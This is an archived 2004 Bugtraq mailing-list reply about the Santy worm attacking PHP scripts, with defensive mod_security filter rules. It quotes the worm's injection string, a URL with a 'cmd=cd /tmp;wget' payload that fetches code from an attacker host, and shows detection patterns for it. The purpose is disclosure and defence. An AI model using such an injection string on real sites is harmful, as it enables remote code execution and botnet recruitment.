bugtraq - Re: New Santy-Worm attacks *all* PHP-skripts

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <Pine.LNX.4.44.0412251620240.2616-100000@bugsbunny.castlecops.com>
Date: Sat, 25 Dec 2004 16:28:15 -0500 (EST)
From: Paul Laudanski <zx@...tlecops.com>
To: bugs@...uritytracker.com, <bugtraq@...urityfocus.com>,
        <full-disclosure@...ts.netsys.com>, <moderators@...db.org>,
        <news@...uriteam.com>, <vuln@...unia.com>, <vulnwatch@...nwatch.org>
Subject: Re: New Santy-Worm attacks *all* PHP-skripts


On Sat, 25 Dec 2004, Juergen Schmidt wrote:

> the new santy version not only attacks phpBB.
> 
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
> 
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...
> 
> Often enough this leads to download and execution of code.
> On success the worm connects to an IRC server, where already more than 700
> zombies are waiting for commands.

My friend Suzi from http://spywarewarrior.com who runs Wordpress found 
this:

http://wordpress.org/support/7/19285

Within five minutes I've logged over 600 attempts on my server.

For those using mod_security, I'm implemented a nice 406 in the meantime, 
it is Christmas after all, I'm sure we want to elsewhere:

[code]
SecFilter "visualcoders\.net/spy\.gif\?\&cmd"
SecFilter ":/"
[/code]

Just in case the URL changes, the latter should still get all sorts of:

http://
ftp://

Naturally, the latter also filters on 

%3a%2f

No Warranty
-----------
ALL SUCH INFORMATION, SOFTWARE, PRODUCTS, AND SERVICES ARE PROVIDED
"AS IS" WITHOUT WARRANTY OF ANY KIND. CASTLECOPS, ITS AFFILIATES,
AND/OR THEIR RESPECTIVE SUPPLIERS HEREBY DISCLAIM ALL WARRANTIES
AND CONDITIONS WITH REGARD TO THIS INFORMATION, SOFTWARE, PRODUCTS,
AND SERVICES, INCLUDING ALL IMPLIED WARRANTIES AND CONDITIONS OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, AND
NONINFRINGEMENT. http://castlecops.com/article1.html

-- 
Regards,

Paul Laudanski - Computer Cops, LLC. CEO & Founder
CastleCops(SM) - http://castlecops.com
Promoting education and health in online security and privacy.